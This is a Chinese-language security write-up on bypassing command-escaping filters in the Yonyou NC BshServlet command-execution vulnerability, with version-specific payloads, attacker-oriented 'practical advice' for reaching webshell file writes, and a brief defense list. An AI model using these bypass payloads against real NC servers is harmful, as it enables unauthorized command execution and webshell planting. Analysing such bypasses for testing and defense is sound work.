yonyouNC命令执行Bypass测试分享
字数 1059 2025-08-10 16:34:22

用友NC命令执行漏洞Bypass技术分析

1. 漏洞背景

用友NC系统存在多处命令执行漏洞,包括:

  • bsh.servlet.BshServlet命令执行漏洞
  • 反序列化导致的命令执行漏洞

在实际渗透测试中,这些漏洞常被用于获取系统权限,但不同版本存在不同的过滤机制,需要针对性绕过。

2. 测试环境

  • Windows Server + NC6.3
  • Windows Server + NC6.5

3. NC6.3版本绕过技术

3.1 基本命令执行问题

在NC6.3中,直接执行direcho等命令会失败,原因:

  • 系统未调用cmd.exe进程
  • 存在基础命令过滤

3.2 绕过方法

通过添加cmd /c前缀可成功调用cmd并执行命令:

exec("cmd /c echo ccc > nc63.txt");

成功特征:

  • 系统进程监控中可见cmd.exe被调用
  • 文件写入操作可正常执行

4. NC6.5版本绕过技术

4.1 新增防护机制

NC6.5增加了转义防护:

  • 特殊字符(>, <, |等)会被自动添加双引号转义
  • 空格作为分界符触发转义

示例:

// 原始命令
cmd /c whoami > 1.txt

// 被转义后
"cmd" /c whoami ">" 1.txt

4.2 无参数命令执行绕过

利用特性:

  1. Windows中命令加双引号仍可执行
  2. NC6.5以空格分界转义

有效payload:

cmd /c whoami> 1.txt
// 转义为
"cmd" /c "whoami>1.txt"

4.3 带参数命令执行

绕过方法:

  • 去除参数前的空格
  • 直接连接参数与命令

示例:

cmd /c netstat/ant>1.txt
// 转义为
"cmd" /c "netstat/ant>1.txt"

目录操作:

cmd /c dir/b "C:\>1.txt"
// 转义为
"CmD" /c dir/b ""C:\>1.txt""

4.4 文件写入技术

写入webshell的挑战:

  • echo>符号被转义
  • 需要干扰转义逻辑

有效payload:

cmd /c echo 11" >1.txt"
// 转义为
"cmd" /c echo 11" ">1.txt""

特点:

  • 会多出引号和空格
  • 但文件内容可成功写入

5. 技术总结

版本 防护机制 绕过关键点 典型payload
NC6.3 基础命令过滤 添加cmd /c前缀 exec("cmd /c echo test > file.txt")
NC6.5 特殊字符转义 去除空格、闭合引号 cmd /c echo 11" >1.txt"
NC6.5 参数过滤 参数与命令直接连接 cmd /c netstat/ant>1.txt

6. 实战建议

  1. 先确定目标NC版本
  2. 测试基础命令执行情况
  3. 根据版本选择相应绕过技术
  4. 文件写入时注意观察转义效果
  5. 复杂命令可尝试分步执行

7. 防御建议

  1. 及时升级用友NC系统
  2. 限制Servlet访问权限
  3. 监控异常进程创建行为
  4. 对特殊字符进行严格过滤
  5. 实施最小权限原则
用友NC命令执行漏洞Bypass技术分析 1. 漏洞背景 用友NC系统存在多处命令执行漏洞,包括: bsh.servlet.BshServlet 命令执行漏洞 反序列化导致的命令执行漏洞 在实际渗透测试中,这些漏洞常被用于获取系统权限,但不同版本存在不同的过滤机制,需要针对性绕过。 2. 测试环境 Windows Server + NC6.3 Windows Server + NC6.5 3. NC6.3版本绕过技术 3.1 基本命令执行问题 在NC6.3中,直接执行 dir 、 echo 等命令会失败,原因: 系统未调用 cmd.exe 进程 存在基础命令过滤 3.2 绕过方法 通过添加 cmd /c 前缀可成功调用cmd并执行命令: 成功特征: 系统进程监控中可见 cmd.exe 被调用 文件写入操作可正常执行 4. NC6.5版本绕过技术 4.1 新增防护机制 NC6.5增加了转义防护: 特殊字符( > , < , | 等)会被自动添加双引号转义 空格作为分界符触发转义 示例: 4.2 无参数命令执行绕过 利用特性: Windows中命令加双引号仍可执行 NC6.5以空格分界转义 有效payload: 4.3 带参数命令执行 绕过方法: 去除参数前的空格 直接连接参数与命令 示例: 目录操作: 4.4 文件写入技术 写入webshell的挑战: echo 和 > 符号被转义 需要干扰转义逻辑 有效payload: 特点: 会多出引号和空格 但文件内容可成功写入 5. 技术总结 | 版本 | 防护机制 | 绕过关键点 | 典型payload | |------|----------|------------|-------------| | NC6.3 | 基础命令过滤 | 添加 cmd /c 前缀 | exec("cmd /c echo test > file.txt") | | NC6.5 | 特殊字符转义 | 去除空格、闭合引号 | cmd /c echo 11" >1.txt" | | NC6.5 | 参数过滤 | 参数与命令直接连接 | cmd /c netstat/ant>1.txt | 6. 实战建议 先确定目标NC版本 测试基础命令执行情况 根据版本选择相应绕过技术 文件写入时注意观察转义效果 复杂命令可尝试分步执行 7. 防御建议 及时升级用友NC系统 限制Servlet访问权限 监控异常进程创建行为 对特殊字符进行严格过滤 实施最小权限原则